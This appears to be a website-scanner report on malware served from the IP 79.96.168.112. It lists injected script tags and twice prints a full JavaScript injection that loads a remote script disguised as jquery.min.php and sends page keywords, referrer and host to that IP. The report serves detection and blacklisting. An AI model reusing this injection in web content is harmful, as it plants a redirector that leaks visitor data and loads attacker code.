Malware Details

Details For The Domain "79.96.168.112"

URLs and sub domains distributing the malware or acting as a redirector:

pt type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56129951"></script>
pt type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56129953"></script>
pt type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56129955"></script>
pt type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56129956"></script>
pt type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56129957"></script>
pt type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56129959"></script>
pt type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56130079"></script>
<script type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56129951"></script>
<script type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56129953"></script>
<script type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56129955"></script>
<script type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56129956"></script>
<script type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56129957"></script>
<script type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56129959"></script>
<script type="text/javascript" src="http://79.96.168.112/zpkwwlgp.php?id=56130079"></script>
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://79.96.168.112/js/jquery.min.php?c_utt=K85164&c_utm='+encodeURIComponent('http://79.96.168.112/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://79.96.168.112/js/jquery.min.php?c_utt=K85164&c_utm='+encodeURIComponent('http://79.96.168.112/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>

Blacklist Status

Blacklist status for "79.96.168.112":
https://labs.sucuri.net/blacklist/info/?domain=79.96.168.112

Additional Scans

You can also use these additional scanners to identify if this site is blacklisted or compromised: